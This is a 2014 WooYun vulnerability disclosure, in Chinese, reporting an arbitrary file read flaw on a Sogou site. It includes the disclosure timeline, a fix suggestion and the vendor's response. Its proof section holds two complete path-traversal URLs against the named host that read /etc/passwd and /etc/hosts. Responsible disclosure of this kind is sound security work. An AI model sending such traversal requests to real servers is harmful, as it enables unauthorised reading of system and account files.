[公开漏洞]搜狗某站点任意文件读取

搜狗某站点任意文件读取 相关厂商： 搜狗 漏洞作者：梧桐雨 提交时间：2014-06-10 16:24 公开时间：2014-06-15 08:45 漏洞类型：任意文件遍历/下载 危害等级：高 自评Rank：20 漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞 漏洞来源：http://www.wooyun.org Tags标签： 任意文件读取利用 任意文件读取 漏洞详情 披露状态：

2014-06-10：细节已通知厂商并且等待厂商处理中
2014-06-15：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

由于对用户可控部分没有进行很好的校验导致任意文件读取。

详细说明：

出现问题的站点：ie.sogou.com



下载etc/passwd

下载etc/hosts

漏洞证明：

http://ie.sogou.com//skins/?path=../../../../../../../../../../etc/hosts&route=user/themeedit/getThemeFile



http://ie.sogou.com//skins/?path=../../../../../../../../../../etc/passwd&route=user/themeedit/getThemeFile

修复方案：

目测应该是下载功能有关，但是修补的时候可以对path进行控制，指定目录即可。跳出目录的话一律exit

版权声明：转载请注明来源 梧桐雨@乌云 漏洞回应 厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-15 08:45

厂商回复：

您好，该漏洞已在SGSRC提交，我们正在排期修复，感谢您的支持，欢迎继续支持SGSRC

漏洞Rank：18 (WooYun评价)

最新状态：

暂无